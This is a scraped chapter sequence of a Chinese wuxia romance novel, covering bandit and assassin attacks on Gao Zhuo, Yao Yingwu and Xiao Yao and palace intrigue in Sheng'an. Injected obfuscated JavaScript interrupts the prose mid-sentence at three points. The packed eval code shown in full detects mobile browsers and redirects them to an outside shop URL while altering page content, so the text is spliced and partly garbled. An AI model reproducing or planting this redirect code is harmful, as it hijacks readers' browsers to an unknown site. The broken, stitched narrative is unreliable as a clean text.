刚走了没两步,山上突然又冲出五六个人,各个凶神恶煞手拿大刀将他们团团围住。 为首的褐衣男子喊道:“吾乃此处大当家黑山虎。此山一立,便是我家。你从此过,财得留下。” 高琢让姚映梧回到马车上,自己则拔出横刀准备与这个黑山虎过招。 他本就心烦意乱,结果这群山匪又来烦他。是嫌拿的银子不够,又派人来要是吧。 高琢的横刀指着山匪的头,喊道:“大当家是吧,刚才你的人又劫财又劫色我都大发善心给他银子放他走了。结果你们贪心至极还敢来,这次我一定得送你们去见官。” 高琢一番话吼得黑山虎一愣一愣的,他什么时候派人下山劫财劫色了。 哦,他知道了。 肯定是哪家刚落草为寇的生手假借他的名义要钱吧。 哈哈哈哈,果真是生手。劫财劫色肯定是半夜行动最为稳妥啊。 想完这些,黑山虎断定眼前之人一定是个纸老虎。他凶神恶煞的对高琢道:“你不知道这青龙山是我黑山虎当家吗!几个无名之辈冒充我的名声你就信了。少说废话,赶紧掏银子出来!不然我可就不客气了!” 高琢见他们翻脸不认账,怒火中烧,直接冲上前与之较量。他们三番两次的挑衅,惹得高琢这次没手下留情。他出招狠辣,连踢带打,没出几个回合,黑山虎连带几个手下都被他揍的鼻青脸肿跪地求饶。 听高琢要送他们去见官,黑山虎连连跪地求饶。见高琢不松口,其中一个手下恶从胆边生直接从袖中拔出沾毒的匕首与高琢拼命。 姚映梧突然高声惊呼:“高琢小心!” 噗—— 偷袭那人突然被一枚飞镖射中,直直跪倒在地。 57. 又一轮刺杀 正午山谷,风起,叶落。 剑朝高琢劈下来时,他根本分不清耳边呼啸的是风声还是剑鸣。 来人一身黑衣,脸上带着一张有年头的白泽面具,一招一式全是杀招。 此人来势汹汹,出其不意的出剑打的高琢毫还手之力。 那人先用剑尖挑开高琢的一记突刺,又反手劈砍直奔高琢面门。高琢咬紧牙关用横刀堪堪挡住,来人见状,抬手一掌拍在高琢胸口处。高琢胸中立刻传来刺痛,被他打的连连后退。 叮—— 来人抬剑指向高琢,“你不是我的对手,此事与你无关,你无需插手。识相点,别逼我现在就对你动手。” 黑衣人说完,转身朝马车的方向走去。 高琢受了伤,姚映梧揪心不已。她直挺挺站在马车边,手中紧紧握住保命的匕首,脑海中仔细回忆着肖遥教她出手的动作。黑衣人回头的瞬间,她看清了黑衣人脸上的面具。姚映梧不免一惊,又是白泽面具。 这个人和窦花娘、窦石还有在盛安城编篡童谣的十二荆南有没有什么关联。 送干草的伙计见黑衣人朝马车走过来,吓得腿都软了。立马连滚带爬的从马车上下来,想跑又不敢跑,全身颤抖着瘫坐在地上,嘴里不停念叨,求黑衣人别杀他。 黑衣人目光坚定,看都没看地上发抖的伙计,直直冲着姚映梧走去。 高琢顿时也顾不上胸口处的疼痛,脚下用力,一个空翻挡在姚映梧身前。 他手中横刀直指黑衣人,“只要你想动阿缘,这件事就与我有关。有我在,你别想靠近她。” 高琢说完牵连的伤口让他重重咳了一下,他悄悄擦去唇边的血迹。抬眸道:“我知道你是谁派来的。你回去告诉他,若他还…还拿我当弟弟,就别对阿缘下手了。” 高琢说完,黑衣人握剑的手猛地一颤。他举起手中的剑给高琢看,“这把剑,你认的吗?” 高琢望去,黑衣人手中的长剑应是出自名家之手,剑刃被刻意锻造的极其锋利,剑身处刻着火纹,就连剑柄上那条盘踞怒目的龙都雕得活灵活现。 “真是把好剑!” 高琢赏完剑脱口便是赞美的话,转念又奇怪这人为什么要让他看剑。 黑衣人听到高琢的话,闷闷地笑了两声,“这是灼龙剑,给你看是为了让你死个明白。既然你不识趣,非要阻止我带走姚映梧,那今日我就送你和姚映梧一起上路。” 黑衣人挥剑的同时,灼龙剑也发出铿鸣。他不再多说,挥出的剑招更加狠辣。 长剑砍杀,挑、刺、扫、斩……进攻的每一招都带着千钧之势,力道之大变幻之快让高琢是避无可避挡无可挡。 铛! 两人的兵器又一次碰撞,黑衣人这个劈砍震得高琢右手发麻。高琢这才意识到,刚才的黑衣人没对他起杀意,现在才是他真正的实力。若他之前使出全力能与黑衣人过几招,现在,他只挥刀有格挡的份。 黑衣人凝聚内力,剑刃犹如长虹飞速划向高琢。高琢不敢后退,只能再次凝气挥刀挡下这招。 叮叮! 黑衣人这次用了全力,高琢一口血吐了出来。 “别!我跟你走。” 黑衣人趁高琢吐血,一剑捅过去欲杀了他。姚映梧将匕首扔给送干草的伙计防身,自己边喊边飞快跑上前。她顾不了那么多,趁黑衣人愣神片刻,直接用手握住挥下的剑刃。 噗呲—— 高琢半跪在地上,抬眼便是满目的鲜血。 姚映梧冲上来的时候,黑衣人下意识收了些力,但剑还是划开的她的双手。 姚映梧被黑衣人的力气压到跪在地上,钻心剜骨的痛让她湿了眼眶。 这怎么比她咳血时还痛…… 姚映梧忍住夺眶而出的泪水,回头看了眼高琢,他一动不动,呆呆望着姚映梧流的满手鲜血。 幸好……姚映梧松了一口气,还好抓住了,不然,现在剑刃就不是在她手里而是在高琢脸上了。 “你抓我回盛安吧。你不是说现在不杀高琢吗,他不会反抗了。你放过高琢,带我回去复命吧。” 手上还在痛,姚映梧却不敢松开。她不知道这人还对高琢有没有杀心,她不敢赌。 高琢全身传来剧痛,他只自顾自伸出手去接眼前刺目的红。 温热的血一滴一滴掉在他的掌心,带着阿缘身上特有的清苦药香。高琢收回沾满血的手不可置信地放在眼前细瞧,掉落的眼泪混着血迹滴落在他雪白的衣袍上。 高琢全身每一处筋脉开始逆流运转,内力快速增长。他捡起地上的横刀运气,“阿缘,你松手。我答应你的事都还没做到呢,咱们不分开。” 姚映梧陡然松手,她本想劝他别拼命,却见高琢的脸霎时间红得过分。 高琢继续凝气于丹田,逆行运气让他的伤口流血不止。这是红豆阿姐在世时教给他保命的剑招,逆行运气,强行打通筋脉。可暂时让功力瞬间暴涨,只是用一次会折寿至少十年。 黑衣人看着高琢的动作,反而收起剑。他知道高琢下一招就是聚力横劈接反身一砍,然后便是连环斩。迅速暴涨功力下,加上毫无破绽的刀法,全天下没几人能挡住。 高琢这是要与他以命相博。 高琢一记横劈,立刻反身砍杀,黑衣人接招时也没了轻松的样子。 高琢正要将连环斩使出来,身后突然被人点住了穴道,丹田忽然使不上力,全身的剧痛一瞬平息,气息片刻就稳定了下来。 高琢双膝一软,直直跪倒在姚映梧面前,接着便两眼一黑全身瘫软,晕倒在姚映梧怀中。 恍惚间,高琢好像看到了一柄通体漆黑的剑,那是,红豆阿姐的剑…… 姚映梧抱紧高琢将他护在坏中,警惕看向眼前蒙面的人。 桃花眼,柳叶眉。姚映梧轻声道:“大观门…” 姜燃微不可察地点了下头,姚映梧顿时如释重负,赶紧拖着高琢往姜燃身后躲。 黑衣人看着眼前蒙面的人手中拿着玄火剑,整个人愣在原地,片刻就激动冲上来要抱姜燃。 姜燃反应极快,迅速拔剑砍去。那人慌了神闪身躲开,他正欲开口解释,只听姜燃冷冷尖声说道:“你和他狼狈为奸,我一个字都不想听。我们从此桥归桥,路归路,我不想见你。你走,立刻走!” 黑衣人刹那间哑然,那日的事他没资格解释。他连高琢都不如,出事的时候,都没能挡在她身前。 黑衣人握紧拳后撤,他知道她受了背叛,不想见他。他听她的话会走,可他也会用实际行动为她报仇的,到时候他再把一肚子的思念说与她听。 姚映梧等黑衣人走后才算彻底卸了力,手上密密麻麻的痛也更盛几分。她额上冒出冷汗,她忍住抽痛的手开口道:“姑娘又救了我一次,多谢。只是高琢他……” 姜燃蹲下,撕下高琢身上的锦缎为姚映梧包扎。 “不必谢我,我说过,我不喜欢欠人的,但更不喜欢别人欠我的。别人欠了我,我都会讨回来的。” 姜燃探了下高琢的鼻息,“他就是累了,打了这么久有些脱力。” 姜燃拿出恢复身体的丹药塞到高琢嘴里,她可不想让高琢就这么死掉。毕竟他的一身功夫和一手好丹青都是她教的。连这横刀,都是拜师的时候她送给他的。 “没事了,他不用半柱香就能醒了。”检查完高琢,姜燃顺便也给姚映梧把了脉。 姜燃微微皱眉,却什么话也没说。把完脉,她起身便走,“要是皎皎遇到什么难事一定要让她告诉我,阿姜姐不在盛安,我只有她一个亲人了,我不想她出事。对了,药的事我已经知道了。你们找个地方躲起来,我会替你们找到火莲花的。” 突然她想起什么,又转身嘱咐道:“这几个山匪都被点穴了,再有一柱香就能动了。你和高琢……自己小心吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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咔嚓—— 是裁断枯枝的声音。 接着,后院突然传来几声嘈杂的脚步声,让肖遥顿时警惕。 枯枝是她昨日故意撒的,一是防人,二是防野兽。 大白天就敢来这儿找他们,看来,盛安有人等不及了。 肖遥示意牧泓屿在里面躲好别出声,自己则握紧双剑紧靠后院的院门等着来人。 “老大。” 丁大刚要推门,就被小弟喊住。 丁大不满低声吼道:“干什么!你们没读过兵法啊,一鼓作气二而衰三而没。” 叫住他的小弟道:“老大,是再而衰,三而竭。” “去去去。当我跟你对书来了,咱们来这是来杀人的。” 小弟有些害怕,“老大,好像那个姓肖的也在里面,咱们不会碰见吧。我听说她可厉害了,连凶残的闼鞑人都不是她的对手。” 一想到肖遥,丁大气势一下子弱了。他结巴道:“怕怕怕什么,这活儿,使者就给了咱们五十两。他说了,是来杀一个男书生的。咱们哪能这么背,一出手就碰上个最厉害的。” 小弟委屈道:“都是独春的人,凭什么他们甲字号杀人值五百两,咱们就值五十两。” 几句话说得丁大心生不满,就是,他们虽说是最低等的丁字号,待遇可也差太多了吧。 算了,不想了。这年头,五十两也是难挣的银子。 “拿好家伙,咱们进去杀了那书生。回去领了赏金后,我请兄弟们喝酒。” 鼓舞好士气,丁大心一横便小心翼翼推开了大门。 几个兄弟跟着他进了院子,丁大一眼就看见,窗边坐着一个身着锦缎的白净公子,一看就是个文弱书生。 哎,不对啊。这个书生看见他们怎么不跑不怕啊,他,甚至还笑呢。 丁大仔细瞧了瞧,哎,不是跟他笑,那是和谁啊? 丁大心中疑惑,顺着目光看了过去,墙边,肖遥抱着双剑对他笑呢。 坏了! 丁大两眼一抹黑,他现在才明白,甲字号不仅功夫好,命也很好。他们十几人拿着五百两杀一个病秧子姑娘,而他,带着丁字号五个兄弟拿五十两银子,跟大邺第一将军肖遥玩命来了。 58. 圆月弯刀 丁大还没来得及招呼手下拔剑,自己转头就被肖遥一记勾拳打翻在地。 等丁大意识回神的时候,别说反击了,自己和手下的兵器不知何时都到了肖遥的手中。 “独春。”肖遥玩味的盯着丁大,嘴里念着她听来的两个字。 铿—— 肖遥拔出剑,发现这个领头的刺客所用之剑都是上好的陨铁锻造而成,极不易得,一般的铁匠铺是难有这些东西的。 肖遥收起笑脸将剑横在丁大脖颈处问道:“独春是什么?你们是受谁的指使,来这干什么?” 丁大闭紧双目将头一撇,“你休想知道。要杀要剐随你,只求肖将军下手快些。” 见逼问不出来什么,肖遥正欲劈昏他们再绑了这几人送去见官。 “皎皎,别动手。” 牧泓屿看见肖遥举起剑,还以为她要杀人,马上从屋内出来阻止她动手。 肖遥举起剑的时候,丁大以为自己要死了。听到有声音阻止她,丁大偷偷睁眼一瞧,哎呀,天不亡他,小主人救他来了。 丁大的眼神陡然一亮,他扯着嗓子喊道:“小主人,救命啊!” 丁大的话让牧泓屿脚下一顿,他脸上的错愕一闪而过。丁大看的是他站着的方向,眼睛却是盯着别处。他顺着丁大目光看去,屋顶上那人手持双刀,不知站了多久了。 “小七,小心。” 肖遥也发现了房顶上那人,几步上前将牧泓屿护在身后。此人一身玄色武袍,蒙着面,双手持圆月弯刀,杀气四溢。 不好,那是圆月弯刀。 肖遥面色凝重的盯着那人手中两把弯刀,拓跋恃与生前帐下的一位大将,皆是用的圆月弯刀为武器。看来这独春,与闼鞑人牵连甚广。 肖遥心中的疑惑此时终于找到了点头绪,难怪当时兄长奉命前去剿灭利鹘遗民,父亲与母亲也悄悄回到盛安,蔺州与庆州刚出现空虚,闼鞑便能瞬间把握机会趁机攻城。 她原本一直怀疑的水兰阁,多番派人打探都没有收获,看来这水兰阁只不过他们用来打探消息的其中一个耳目,可能那个刺客口中的独春才是他们的大本营。 屋顶上的人用刀指着丁大几人,“没用的废物,还不赶紧给我滚。” 肖遥侧目冷冷睨了眼几个连滚带爬逃跑的喽啰,“小七,你快去门口放把火然后躲起来。阿缘与高琢快回来了,得按咱们约定好的暗号,告知他们情况有变,让他们有所警惕。” “你们谁都别想走。” 那人手握弯刀从屋顶一跃而下,一刀劈砍直奔肖遥面门。 肖遥见此人来势汹汹,先一掌将牧泓屿推开,自己则抽出双剑应对。 叮——! 刀剑相碰,不分伯仲。 叮叮叮叮叮——! 一时间,兵器间的碰撞的声音不绝于耳。日头下,刀光与剑影交缠,两人动作变幻无常。 身着玄色武袍的拿刀人刀势极快,不仅身形变化如鬼魅,更是刀刀直奔致命处。 几招下来,肖遥也不落下风。致命的招数一一被她四两拨千斤,用剑尖拨开刀刃借力推开。 玄衣人见招招落空,心中急切手上的招数也快了半分。可无论怎么出招,自己根本就进不了肖遥的身。更何况,现在肖遥还没用最趁手的青龙戟,就已经与自己打了个平手,若是用上戟自己现在说不定已经战败了。 想到这,玄衣人一时心烦意乱,落刀时露了一丝破绽。肖遥眸光一凝,瞅准机会一剑劈在那人拿刀的手上。 玄衣人发现自己无处可躲,惊乱中手腕后撤,立起刀锋,硬生生抗住这一剑。 牧泓屿看着两人激战哪还有心情去门口放火再躲起来,只是站在一边观战便已经心急如焚。 他见玄衣人刀刀致命,肖遥出手也都是致命一击。两人缠斗地激烈程度令他狠狠捏了一把汗,心跳如擂。不知道两人要打多久,到底谁输谁赢。 铛——! 又是刀剑碰撞的铮鸣,肖遥手腕用力,将剑刃又压下三分,“你不是我的对手,还是趁早投降吧。我压你回盛安听后发落,放心,只要你说出独春和水兰阁的秘密,我可为你向陛下做保,留你一命。” 玄衣人双手持刀相抗,望着眼前只有几寸的剑刃冷笑道:“投降?做梦去吧去吧!你杀死了拓跋恃,还俘虏我闼鞑将士三百余人。如今几句便宜的空话就想叫我投降,门都没有!” 肖遥拧眉冷声回道:“拓跋恃未来也许是闼鞑的好可汗,可他是我大邺的仇人,人人得而诛之。你也是闼鞑人,应该知道闼鞑边境内有几座城池身处沙漠,每年都需运上千名奴隶来此修城做苦工。拓跋恃不忍奴隶们因此丧命,竟越过边境抓我大邺边陲百姓去闼鞑修城。百姓苦不堪言,多少人因此丧命以致妻离子散。他闼鞑的奴隶是人,我大邺无辜的百姓就该做奴隶任人打骂凌辱吗!不管你们来多少人找我寻仇,我都奉陪打底。拓跋恃他,该死!” “啊——” 玄衣人一声怒吼双手弯刀推开肖遥的剑刃,双手横扫肖遥腰腹,“拓跋恃是闼鞑的大王子,他只需对闼鞑百姓好就行了。大邺百姓受苦,是你们大邺将士无能。” “说得对,我是大邺人,只需管大邺如老百姓。所以,我杀了拓跋恃。”肖遥后退闪开,“之前中原局势不稳,大邺无力管辖水深火热的边塞百姓。如今中原,唯我大邺势大。终有一日,我肖家会率铁甲覆面军踏碎你闼鞑。” 肖遥的一番话彻底激怒了玄衣人,他将圆月双刀合一,脚下发力,刀随手转。整把刀在他的腰身处凝力飞速旋起,扔出时,在空中划过一道圆弧,形似圆月。 双刀旋转成环,极速向肖遥的脖颈处飞去。力量之强,速度之快,令肖遥也不免有些晃目。 肖遥识得此招,这是圆月刀法最致命的一招,刀一但掷出,必定避无可避,只能回挡,可一但回挡便是死局。 双刀用寒铁铸造,通体坚硬沉重。一但全力碰在兵器上必会震麻手臂,短时间无法自如用兵器。这个空隙间,弯刀受力回到主人手中,主人立刻借弯刀回旋之力顺势发动连砍,且刀势轻,一刀比一刀快。熟练者用这一招,能割将近四百刀,流的血大罗神仙也难救。拓跋恃就是凭借此绝招,稳坐闼鞑第一勇士。 还好肖遥之前对阵过拓跋恃,虽无破解之法,也有了化解之招。只是她之前是用的青龙戟,不知道双剑能不能行。 来不及多想,肖遥瞅准机会一剑插入弯刀,顺势将弯刀接在剑上,卸力扔了出去。这样弯刀就无法立刻回到它的主人手里,没了兵器保护,玄衣人自然成了待宰的羔羊。 肖遥一个跳劈,剑光闪在玄衣人眼前。他现在终于明白拓跋恃为何会死,必胜的招数被人化解,不仅没有兵器护体,人也还没从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381950|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震惊中缓过来,可敌人的剑已经到眼前了。 咚! 弯刀击碎了破庙的外墙,碰到墙体的那一刻,又再次调转了方向,飞速朝着一旁的牧泓屿去了。 巨大的声响引得肖遥回首,见此她来不及杀玄衣人,立马掉头回去救牧泓屿。 牧泓屿原本正死死盯着两人决斗的场面,直到听见声响才发现自己的性命已经危在旦夕。 牧泓屿望着近在咫尺的弯刀,双手死死攥紧衣袖,咬紧牙关眉头紧锁,站在原地一动不动。 “小七!”肖遥猛地掷出一剑,用来阻挡弯刀。 铛! 弯刀打在剑上,再次掉头,这次回到了玄衣人手上。 小七差点死了! 这个念头萦绕在肖遥的脑海中挥之不去,她气急败坏,地上的剑都没捡起来,从地上的包袱中摸出青龙戟组装好,要与玄衣人决一死战。 肖遥还没走几步,衣袖被人死死拽住。 “…走!” “走什么?小七。” 牧泓屿拉着肖遥的衣袖,眼眶微红道:“我说,皎皎你别走!我怕……” 肖遥看着牧泓屿面色惨白,手心中全是冷汗登时担心不已。 阿缘说得对,她就只对兵法和敌人作战上心思八面玲珑。一遇到身边人的情绪不对,就怎么也察觉不出来。 自己没察觉刚回家时的红豆满腹仇恨,是因为多年来在外面受了委屈,无人做主。如今的牧泓屿也是,她只顾着杀敌想借此破除闼鞑阴谋,却没发现小七已经吓坏了。 他生在皇家,小时候虽不得宠爱但也是锦衣玉食长大的。哪见过动刀剑的真架势,更何况刚才自己还差点送命。 见肖遥愣神,玄衣人提刀上前走了两步,又立刻停下。他收起弯刀后退,借着轻功逃脱了。 肖遥听到声音回头见玄衣人已经逃走,她握着牧泓屿的手高喊道:“下次再遇见你,我定要取你的首级来告慰我大邺边境百姓的在天之灵。” 喊完,肖遥又清了清嗓子,柔声安慰道:“小七别怕,我在那。他伤不了你。” 玄衣人一走,牧泓屿面色好看了许多。肖遥心想,小七果然是被那人吓得,又担心的赶忙宽慰了几声。 “为什么救我?”牧泓屿望着肖遥愣愣道。 嗯? 没来由的话让肖遥摸不着头脑,她试了试牧泓屿的额头,不烫啊。真是把他吓坏了,都开始说胡话了。 肖遥看着牧泓屿道:“我答应了不与你分开,自然也要保护你啊。不然你死了,我们不就不能在一起了吗。只要是你,我肯定要救的。说好了不分开,那就是要跟你在一起一辈子的。” 牧泓屿湿了眼眶,将额头靠在了肖遥的肩上。 肖遥是他从小长到大,第一个坚定选择他的人,也是唯一一个。她保护他,对他好,只是因为他是牧泓屿而已。 牧泓屿抬起头,泪眼婆娑道:“你既然说了一辈子,那我们就永远不分开。好不好?” 肖遥笑眯眯的看着红眼眶的牧泓屿,果然还是和小时候一样,是个爱哭鬼。 她点点头,学小时候的样子摸摸牧泓屿的脑袋,“当然好了。” 牧泓屿也回笑着望着肖遥,把她开心的样子刻在脑海里。 突然身后传来一声惊呼,“喂!你们两个!怎么把房子给拆了。” 59. 为何偏是她 姚映梧等高琢醒来,先是和他一起送黑山虎和手下的二豹,三豹还有死掉的四豹去见官。 走到半路遇见一座医馆,高琢又拉着姚映梧进去看手伤得厉不厉害。又是包扎又是涂药,费了好一番功夫。 可怜的伙计还没缓过神,就一路愣愣的跟着他们,说什么也不离开半步。 两人等忙完这些事,拉着干草回到破庙,高琢将身上的银子都给了伙计,尽力补偿他无辜被牵扯进了此事。 两人还没进门,惊讶的瞧着出门时好好的院墙塌了一半,原本就破败的地方如今更添凄惨荒凉。 破庙变化之大,连一向镇定自若的姚映梧都瞪大了眼睛。高琢更是吃惊,开口问两人趁他和阿缘不在都干了什么。 肖遥这才腾出手捡起地上的剑,对他们两人说:“我们刚才遇见了两波刺客,其中一个是拓跋恃原来的手下。他功夫了得,我们与他缠斗一番才赶走他。” 刺客二字让高琢与姚映梧对视一眼,异口同声道:“我们也遇到刺客了!” “什么?” 肖遥神情严肃的收好剑,走过来问二人具体发生了什么事。姚映梧回答时下意识将手藏到身后,还是肖遥发现了她的不对劲,态度强硬地拉过她的手检查。 姚映梧的手上缠了一层细布,伤口处还红肿着。 肖遥惊道:“阿缘,你这是怎么伤的。” 肖遥拉起阿缘的手时,高琢不自觉地看过去,等目光触及到那层带血的白细布,又愧疚的撇开眼。 “是我不好,没保护好阿缘。”高琢整个人都泄了气,蔫蔫地垂下头。 肖遥瞧瞧高琢愧疚的样子,又看看阿缘受伤的手,扭头又撞上牧泓屿投来担心的目光里。 她安慰高琢道:“也不能怪你。刚才那个刺客也差点伤了小七,幸好我反应快,不然……我随身带着金疮药呢,放心,阿缘这伤慢慢养能好的呢。” 肖遥又想起什么,又出声问道:“你们也是被独春的人伤的吗?” 姚映梧疑惑道:“独春?什么独春。” 高琢愤恨地接话道:“我们先是被两伙山贼打劫,他们要绑架阿缘勒索姚家。后来又来了一个很厉害的刺客,还要带阿缘走。我与他苦斗半天,实在不是对手。最后,我迫不得已使出红豆阿姐教我的剑招才……” 高琢眼神飘忽起来,他怎么不记得自己是怎么打败那个家伙的了。 脑海中浮现出玄火剑的模糊的影子,高琢迷离的眼神也逐渐写上疑虑。他是不是看见红豆阿姐了,难道阿姐没死! 高琢说道一半就住了嘴,把一边的肖遥急得不行。一旁的姚映梧接着高琢的话说道:“不是的皎皎,来绑我的人不是你说的独春,是高羡。” 肖遥惊讶之余又恼道:“居然是他。宫宴上他害你不成,现下又有别的坏主意,是不是?” 一直没说话的牧泓屿也出声道:“我听说独春是一个杀手组织,这些刺客定也是受雇于人的。刚开始从后门进来的刺客,应是别人找来杀我的。阿缘差点被绑架,加之还有那个找皎皎寻仇功夫很高的刺客。他们都是针对我们三人而来。若是没人给他们提供我们的安身之处,他们怎么能这么快就找到我们。” 牧泓屿一番话令肖遥怒上心头,“哼!可恶的高羡,害得我们这么狼狈。等我回了盛安,定要好好跟他算账。到时候……” 咳咳咳。 姚映梧轻咳几声,“牧泓屿说得也有道理,今日我们一同遇险绝非偶然。嗐,这个安身的庙宇,怕是不安全了。药得事,已经有着落了,我们得赶紧找个新地方落脚。” 肖遥瞟了眼面色难看的高琢,暗道自己又说错话了。为了揭过这事,她顺着阿缘的话道:“有了药就好办了,为今之计,我们不如直接进入毫州城。他们这次出手能成是趁我们分开,我们干脆一不做二不休在城内一块行动。他们即使再想动手,也得掂量掂量。” 姚映梧与肖遥两人一拍即合,当即开始收拾东西。 高琢站在原地,望着远处的山谷思绪万千。 连绵起伏的山和他离开家乡时翠色的山别无二致,只可惜,家里再也不会有和煦待人的兄长等他归家了。 姚映梧回身见高琢还愣在原地,唤道:“高琢,你还愣着干什么,快过来帮我们一起收拾。” 牧泓屿望着庙外的马车若有所思,他没与他们一起进庙内,道:“你们去收拾东西吧,我把外面的马车车帘上的遮光锦换一下,免得一会儿到山谷咱们再遭山匪惦记。” 盛安城内,一切如旧。 寻常百姓忙于生计,孩童们规矩念书。茶楼的说书人爱讲百年前的故事,人们茶余饭后谈论的仍是盛安城内的奇闻轶事。 闹市间,密室内第一次塞了满满的人。 大舵主坐在椅子上,在白泽面具的遮挡下喜怒难辨。二舵主坐在一旁,手上的扳指转得飞快。 贾大和丁大都吓得不敢抬头,小心翼翼的等候发落。 丁大的小腿肚现在还在发抖,他只听说过肖遥的名号,没想到她竟比传说中的还厉害。幸好小主人出现救了他一命,不然他这会儿早成肖遥的剑下亡魂了。 丁大不屑得睨了眼贾大,他打不过肖遥失手也就算了,贾大这点小任务都失手了。依他看,这甲字号的老大就该他来坐。拿着五百两银子杀一个弱女子都杀不成,舵主此次就该直接赶他出独春。 贾大虽垂着脑袋,余光却时不时瞟过身边的丁大。 一想到丁大不仅失手,连兵器都被被人缴了去,贾大不屑的低低嗤了一声。 这个蠢货,自己被肖遥抓住就算了,还差点害了小主人。 贾大一想到这样的蠢才敢也惦记他甲字号老大的位置,就气不打一处来。 一个下等的丁字号,也配和他站在一块。杀一个弱书生的任务都能被失败,还招惹了肖遥,给组织惹了一身骚。 这家伙还是趁早离开组织吧,独春和丁字号的名声都被他连累完了。 二舵主面具下的眉心越皱越紧,手上扳指是越转越快。片刻,他的手重重地拍在桌子上,把手一挥,“没用的东西!都给我滚出去!” 贾大和丁大没想到舵主没惩罚他们,二人两眼放光,惊喜的诶了一声,争先恐后地挤出密室。 等两人走后,大舵主沉声道:“你做的对,现在正是用人之际,不宜动用家规处罚。收了人家的金饼,没办成事,对独春名声不好。你回去派个传话的童子,告诉他我们知道了此人身份,怕惹麻烦。按规矩把金饼退给他,顺便告知组织内众人,不许再动此人。” 二舵主狠狠啐了一声,“这是什么规矩!这个不许动,那个也不许动,合着我们独春这次吃了个哑巴亏。” “你急什么?” 大舵主理着袖口的兰花,慢条斯理道:“主人自有考量,你整日跟在主人身边,怎么一点长进都没有。什么事该管,什么事不该管,你应该明白。” 大哥简单几句话让他彻底闭了嘴,也难怪大哥得主人器重,懂得就是比他多。 正午过后,日头西斜。 皇城宫门,高羡捏了捏眉心,疲惫的走在宫道上。 不知尘起有没有把话带给牧泓屿,他何日才能回来盛安。陛下的病更是一直没有好转,只靠着他摸索做的解药暂时解毒,眼看就要压不住体内的毒发了。 莫旬也真是的,下毒的时候下这么重的剂量,要是牧怀兴突然死了可怎么好。 哀叹间高羡突然看见宫门口出现了那个让他找寻了多日的身影,他赶紧摆出笑脸追上前道:“裴少监如今留任盛安为官,高某都还未恭喜大人呢。” 裴澄上马车的脚步一顿,又是他。他嘴角一抽,转脸过来时面上已经换上了得体的笑意。 “裴某一介小官,哪劳大人如此费心记挂。” 见裴澄眼神中藏不住的鄙夷,高羡换上一副悲痛欲绝的神情,“裴少监,此事高某也是被逼无奈。高某一介小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高羡根本没把他的话放在心上,尘起向自己质问红豆是不是还活着的话已经说了不知道多少遍了。况且,红豆是他眼瞧着咽气的,怎么会还活着。 “尘起,师弟!你就是太想红豆了,眼花了而已。她真的死了!我亲眼看着她咽气的,你醒醒吧!” 高羡的话尘起听了无数遍,他从来都不信。可每次找到的‘红豆’都是他认错人了,难道这次也是他眼花了吗?那那些话是什么意思? 尘起拽着高羡的手无力的垂下,真的又不是她吗…… 宫门口,一阵马嘶声传来,高羡赶忙扯着失魂落魄的尘起退到一边。 他悄悄抬头,见齐王殿下的马车进了宫门。 高羡皱眉,奇怪,他怎么会这时候入宫。 等齐王马车走后,尘起也冷静了下来。 高羡沉声问道:“失手了?” 尘起错开眼,“小琢用命护他,我不好下手。” 高羡无奈地闭上眼,“算了,我也料到的,牧泓屿他怎么说?” “我没见到牧泓屿,只有姚映梧和小琢。” 接二连三的挫败打的高羡毫无还手之力,“算了,再寻机会吧。这次私自绑姚映梧一是为了出去把牧泓屿找回来,二是做出姚映梧失踪的假象,拖延牧怀兴让我们拿姚映梧换火莲花的事。绑不到她也好,省得将来此事败露我就真的没办法面对小琢。到时候我再想办法劝牧怀兴等她回盛安动手吧,咱们手里还有能拿捏住姚映梧的把柄呢。走吧,跟我一同回高府去。” 进入宫门后,肃石停下马车气喘吁吁的问道:“殿下,我话还没说完呢您怎么就急着入宫来了。” 牧彰施步履匆匆,“你今日哪来这么多废话,她妹妹出事了我怎么能不告诉她。”牧彰施停下脚步,话里话外都是埋怨的意味,“你看见她妹妹涉险,为何不立刻出手救她?” 肃石一头雾水,挠了挠头问道:“殿下是说姚家二小姐吗?我就是路过见他们被山匪围住了,我就停下看了个热闹。她身边那个公子倒是武艺不错,我还没给殿下说完他出神入化的刀法呢,您就拽着我入宫了。再说了,姚二小姐出事关您什么事啊?” “关我什么事?”牧彰施脸都气紫了,“她表弟死了她都伤心欲绝几日吃不下东西,要是她亲妹妹死了她不得跟着她去了。” 肃石惊讶道:“殿下您说谁呢,不会是贤妃吧?那可是您的皇嫂啊!” 60. 个中隐情 肃石的话让牧彰施脸色骤变,对姚昭桦到底是什么感情他心里也复杂的很,他只知道他不想看见她伤心。 他心虚地摸两下鼻子,“胡说八道什么呢,本王就是可怜她。她是我的皇嫂,又独自一人在宫中,我……我自然是想多关照她一下。” 肃石看着自己主子心虚的脸,直言道:“殿下您不用担心,我听说贤妃娘娘的亲弟弟在宫里做小皇孙伴读,他弟弟有空自然就会来看贤妃了。” “笨蛋!”牧彰施好不容易给自己找了借口,转头就被肃石给揭穿了。 牧彰施白了肃石一眼,拖着他朝宫内走去,“一堆费话,叫你陪我去你就去得了。还有一会儿给我机灵点,别说错话了。” 太清宫 小内侍匆匆入内,趴在钟谋耳边小声嘀咕了几句。 钟内侍脸色一变,嘱咐了他几句便让他退下。 钟内侍急匆匆进到殿内,回道:“陛下,齐王入宫了。” 咳咳咳—— 牧怀兴咳完顺好气问道:“又是去的福乐宫?” “是。是福乐宫的方向。”钟内侍试探道:“自您允齐王殿下入宫探望太后,齐王殿下几乎每夜都走得是福乐宫和梨棠苑旁的小路入宫。陛下这是在,试探齐王有没有跟太后联手外勾兰诏?” 